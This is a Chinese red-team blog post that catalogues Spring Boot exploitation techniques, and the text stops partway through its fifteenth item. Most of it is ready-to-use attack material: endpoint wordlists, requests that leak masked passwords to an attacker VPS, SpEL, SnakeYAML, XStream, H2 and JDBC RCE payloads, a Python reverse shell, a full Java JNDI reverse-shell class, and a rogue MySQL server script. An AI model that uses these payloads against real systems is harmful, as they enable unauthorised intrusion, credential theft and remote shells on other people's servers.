loading...
Springboot综合利用总结
Published in:2024-08-17 | category: Springboot

0x00前言

最近有机会作为红队(混子)参加了HW,还是碰到很多企业系统用的都是springboot框架,并且还有可多可少的漏洞可以进行利用,对这个springboot做一个记录复盘。

0x01漏洞集合

1、有关端点和接口的信息泄露

这些端点或者接口可以泄露一些敏感信息,比如在env中可以泄露部分的敏感变量,通过actuator泄露,可以看到可利用的接口列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/env

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

2、配置不正当导致的泄露

其实这个泄露跟第一基本上一样,都是通过泄露端点或者接口后进一步访问其他接口路径导致的泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

3、脱敏密码明文

目标网站需要有/jolokia或者/actuator/jolokia接口,同时使用jolokia-core依赖

jolokia

Jolokia 是一种 JMX-HTTP 桥接工具,通常用于将 Java 应用程序中的 JMX(Java Management Extensions)接口通过 HTTP 公开。它可以在多种 Java 应用中使用,包括 Spring Boot 应用程序。

在 Spring Boot 中,Jolokia 可以作为一个端点集成到 Actuator 中,从而允许开发人员通过 RESTful API 远程监控和管理应用程序。

1、先通过/env接口获得带*号的密码,并复制对应的属性

2、调用相关Mbean获取明文

调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

1
2
3
4
POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

1
2
3
4
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

1
2
3
4
POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

1
2
3
4
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

4、脱敏密码明文

1、可以 GET 请求目标网站的/env

2、可以 POST 请求目标网站的/env

3、可以 POST 请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)

4、目标使用了spring-cloud-starter-netflix-eureka-client`依赖

5、目标可以请求攻击者的服务器(请求可出外网)

还是先找到想要的星号密码属性名

设置 eureka.client.serviceUrl.defaultZone 属性

security.user.password是要获取的密码的属性名

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

会回显带有Authorization字段的参数

将获得的值进行base64解码就是密码明文

5、脱敏密码明文

1、通过POST/env设置属性触发目标对外网指定地址发起任意 http 请求

2、目标可以请求攻击者的服务器(请求可出外网)

在上一个的基础上还是启动一个监听nc

触发对外 http 请求

spring.cloud.bootstrap.location方法 适用于明文数据中有特殊 url 字符的情况

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

eureka.client.serviceUrl.defaultZone方法 不适用于明文数据中有特殊 url 字符的情况

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

6、基于SpEL注入的RCE

1、spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

2、至少知道一个触发 springboot 默认错误页面的接口及参数名

假如有个接口存在传参,并传入值,返回的是500状态码+whitelabel error page则这里很大概率存在spel注入

然后去尝试${},表达式中用运算的形式,观察是否有运算后的值返回,有则可以确定是spel注入

将payload转hex进制形式

1
2
3
4
5
6
7
8
9
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

# 执行
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

7、SpringCloud的SnakeYaml的RCE

1、可以 POST 请求目标网站的/env`接口设置属性

2、可以 POST 请求目标网站的 /refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)

3、目标依赖的spring-cloud-starter 版本 < 1.3.0.RELEASE

4、目标可以请求攻击者的 HTTP 服务器(请求可出外网)

托管jar和yml文件

yml文件

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]

jar包文件根据https://github.com/artsploit/yaml-payload来编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

设置 spring.cloud.bootstrap.location 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

刷新

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

8、eureka中xstream基于反序列化的RCE

1、可以 POST 请求目标网站的/env接口设置属性

2、可以 POST 请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)

3、目标使用的eureka-client< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client依赖中)

4、目标可以请求攻击者的 HTTP 服务器(请求可出外网)

架设响应恶意 XStream payload 的网站

payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)

反弹一个nc

设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

9、jolokia中logback基于JNDI注入的RCE

1、目标网站存在/jolokia或/actuator/jolokia`接口

2、目标使用了jolokia-core`依赖(版本要求暂未知)并且环境中存在相关 MBean

3、目标可以请求攻击者的 HTTP 服务器(请求可出外网)

4、普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

查看已存在的 MBeans

找到ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL

托管xml

1
2
3
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

做一个反弹shell的java代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
1
javac -source 1.8 -target 1.8 JNDIObject.java

之后会生成一个class文件,将恶意的文件放到开启托管服务器的同一路径下

架设一个marshalsec恶意的ldap服务器

https://github.com/mbechler/marshalsec

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

监听一个反弹shell端口

网页直接访问payload

1
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

10、jolokia中realm基于JNDI注入的RCE

1、目标网站存在/jolokia或/actuator/jolokia`接口

2、目标使用了jolokia-core`依赖(版本要求暂未知)并且环境中存在相关 MBean

3、目标可以请求攻击者的服务器(请求可出外网)

4、普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

查看已经存在的MBean

访问/jolokia/list接口,查看是否存在type=MBeanFactory和createJNDIRealm`关键词

准备恶意代码

参考上方

托管class文件

将class文件放到托管目录

搭建恶意rmi服务器

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

监听一个反弹shell端口

发送数据包

用准备好的python文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://127.0.0.1:8080/jolokia'


create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://your-vps-ip:1389/JNDIObject"
}

stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}

start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)

根据需要修改目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行

11、H2数据库设置query属性的RCE /restart

1、可以 POST 请求目标网站的/env`接口设置属性

2、可以 POST 请求目标网站的 /restart接口重启应用

3、存在com.h2database依赖(版本要求暂未知)

设置 spring.datasource.hikari.connection-test-query 属性

均无回显

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');"}

重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

12、h2数据库的控制台基于JNDI注入的RCE

1、存在com.h2database`依赖(版本要求暂未知)

2、spring 配置中启用 h2 console spring.h2.console.enabled=true

3、目标可以请求攻击者的服务器(请求可出外网)

4、JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)

访问路由获得jessionid

准备恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}

跟上面的JNDI一样的编译方式

1
javac -source 1.8 -target 1.8 JNDIObject.java

复制到托管文件的目录

架设一个恶意ladp服务器

marshalsec

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

监听一个反弹shell端口

发送JNDI数据包

1
2
3
4
5
6
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

访问

1
http://127.0.0.1:9096/h2-console

13、mysql中jdbc基于反序列化的RCE

1、可以 POST 请求目标网站的/env接口设置属性

2、可以 POST 请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator`依赖)

3、目标环境中存在mysql-connector-java依赖

4、目标可以请求攻击者的服务器(请求可出外网)

查看环境依赖

/actuator/env 或 /env 搜索classpath

查询是否有mysql-connector-java,有则记录下版本号

搜索classpath是否有gadget依赖commons-collections、Jdk7u21、Jdk8u20

假设恶意mysql服务器

编写python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii


def server_send(conn, payload):
global count
count += 1
print("[*] Package order: {}, Send: {}".format(count, payload))
conn.send(binascii.a2b_hex(payload))


def server_receive(conn):
global count, BUFFER_SIZE

count += 1
data = conn.recv(BUFFER_SIZE)
print("[*] Package order: {}, Receive: {}".format(count, data))
return str(data).lower()


def run_mysql_server():
global count, deserialization_payload

while True:
count = 0
conn, addr = server_socks.accept()
print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
server_send(conn, greeting)
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as _f:
deserialization_payload = binascii.b2a_hex(_f.read())
while True:
# client auth
server_receive(conn)
server_send(conn, response_ok)

# client query
data = server_receive(conn)
if "session.auto_increment_increment" in data:
_payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
server_send(conn, _payload)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
server_send(conn, _payload)
data = server_receive(conn)
if "set names" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "set character_set_results" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "show session status" in data:
_data = '0100000102'
_data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
_data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
_payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
_payload_length = _payload_hex[2:4] + _payload_hex[0:2]
_data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
_data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
_data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
_data += '07000005fe000022000100'
server_send(conn, _data)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
server_send(conn, _payload)

break
try:
conn.close()
except Exception as e:
pass


if __name__ == "__main__":
HOST = "0.0.0.0"
PORT = 3306

deserialization_file = r'payload.ser'
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as f:
deserialization_payload = binascii.b2a_hex(f.read())
else:
deserialization_payload = 'aced****(your deserialized hex data)'

count = 0
BUFFER_SIZE = 1024
response_ok = '0700000200000002000000'
print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socks.bind((HOST, PORT))
server_socks.listen(1)

run_mysql_server()

用yso工具编写payload

1
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

设置 spring.datasource.url 属性

mysql 5.x

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql 8.x

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

触发数据库查询

尝试访问网站已知的数据库查询的接口,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发

14、logging.config的logback基于JNDI的RCE /restart

1、可以 POST 请求目标网站的/env接口设置属性

2、可以 POST 请求目标网站的/restart接口重启应用

3、普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

4、 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

5、 HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出

6、 JNDI 服务返回的 object 需要实现javax.naming.spi.ObjectFactory`接口,否则会导致程序异常退出

托管xml文件

1
2
3
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>

托管恶意 ldap 服务及代码

1
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

设置 logging.config 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

15、logging.config的groovyRCE /restart

1、可以 POST 请求目标网站的/env接口设置属性

2、可以 POST 请求目标网站的 /restart`接口重启应用

